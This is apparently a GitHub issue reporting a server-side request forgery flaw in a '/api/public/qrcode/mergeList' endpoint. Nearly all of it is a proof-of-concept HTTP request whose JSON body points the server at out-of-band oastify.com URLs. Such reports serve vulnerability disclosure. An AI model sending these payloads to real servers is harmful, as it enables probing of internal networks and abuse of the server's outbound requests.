ssrf

Open Jecobo opened this issue 1 year ago • 1 comments

Feb 28 '24 06:02 Jecobo

POC： POST /api/public/qrcode/mergeList HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 202 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120" Authori-zation: sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 Content-Type: application/json Request-Origion: SwaggerBootstrapUi Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-platform: "Windows" Origin: http://127.0.0.1:8081 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8081/doc.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close

[ { "path": "http://1.1fho8kog4tc58o251jju0bq09rfi38rx.oastify.com/1.png", "x": 0, "y": 0 },{ "path": "http://2.1fho8kog4tc58o251jju0bq09rfi38rx.oastify.com/2.png", "x": 0, "y": 0 } ]

Feb 28 '24 07:02 Jecobo